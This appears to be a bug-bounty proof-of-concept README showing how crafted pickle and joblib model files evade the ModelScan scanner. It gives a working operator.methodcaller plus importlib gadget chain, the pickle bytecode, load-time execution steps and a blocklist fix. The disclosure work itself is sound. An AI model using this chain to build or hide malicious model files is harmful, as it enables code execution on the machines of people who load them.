# ModelScan 0.8.x ACE Bypass — operator.methodcaller + importlib Gadget Chain ## Summary This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x (latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program. The `.pkl` and `.joblib` files in this repo execute arbitrary commands at deserialization time while passing ModelScan's scan as "No issues found." ## Vulnerability **Affected scanner:** ModelScan 0.8.8 **Affected file types:** .pkl .pickle .joblib .dill .dat .data **Impact:** Arbitrary Code Execution at model-load time, scanner bypass ModelScan's `unsafe_globals` blocklist explicitly blocks `operator.attrgetter` with a comment documenting the operator gadget pattern, but omits `operator.methodcaller`, which achieves equivalent method invocation on runtime objects. The `importlib` module is entirely absent from the blocklist. ## Gadget Chain ``` importlib.import_module("os") <- not in ModelScan blocklist operator.methodcaller("system", CMD) <- not in ModelScan blocklist (only attrgetter is blocked) ``` Execution: ``` operator.methodcaller("system", CMD)(importlib.import_module("os")) = os.system(CMD) ``` ## Globals extracted by ModelScan ```python {('importlib', 'import_module'), ('operator', 'methodcaller')} ``` Neither is in `unsafe_globals`. ModelScan reports CLEAN. ## Reproduction ### Requirements ``` pip install modelscan joblib ``` ### Step 1 - Verify execution ```python import pickle with open("poc_modelscan_bypass.pkl", "rb") as f: data = f.read() # This executes os.system("id > /tmp/ml_pwned") immediately pickle.loads(data) import os assert os.path.exists("/tmp/ml_pwned") print("ACE confirmed:", open("/tmp/ml_pwned").read()) ``` ### Step 2 - Verify ModelScan bypass ``` modelscan -p poc_modelscan_bypass.pkl ``` Expected output: ``` No issues found! ``` ### Step 3 - Verify joblib.load() also triggers ```python import joblib joblib.load("poc_modelscan_bypass.joblib") # Same RCE fires ``` ## Pickle Bytecode (protocol 4) ``` PROTO 4 FRAME 107 SHORT_BINUNICODE 'importlib' MEMOIZE (as 0) SHORT_BINUNICODE 'import_module' MEMOIZE (as 1) STACK_GLOBAL MEMOIZE (as 2) <- importlib.import_module SHORT_BINUNICODE 'os' MEMOIZE (as 3) TUPLE1 MEMOIZE (as 4) REDUCE MEMOIZE (as 5) <- os module POP SHORT_BINUNICODE 'operator' MEMOIZE (as 6) SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7) STACK_GLOBAL MEMOIZE (as 8) <- operator.methodcaller SHORT_BINUNICODE 'system' MEMOIZE (as 9) SHORT_BINUNICODE 'id > ...' MEMOIZE (as 10) TUPLE2 MEMOIZE (as 11) REDUCE MEMOIZE (as 12) <- methodcaller("system", cmd) BINGET 5 <- retrieve os module TUPLE1 REDUCE <- os.system(cmd) -> RCE STOP ``` ## Root Cause `modelscan/settings.py` line in `unsafe_globals`: ```python # Current (vulnerable) "operator": [ "attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned") ], ``` The developer documented the operator gadget pattern but only blocked `attrgetter`. `methodcaller` achieves the same result through method dispatch on runtime objects. ## Fix ```python # Fixed "operator": ["attrgetter", "methodcaller", "itemgetter"], "importlib": "*", ``` ## Files | File | Description | |------|-------------| | poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() | | poc_modelscan_bypass.joblib | Same payload, .joblib extension | | poc_modelscan_bypass.py | Python script that generates and verifies the PoC | ## Ethical Use This PoC uses a benign indicator (`id > /tmp/ml_pwned`) to demonstrate code execution. It is submitted exclusively through the official Protect AI / huntr.com bug bounty program. Do not use against systems you do not own.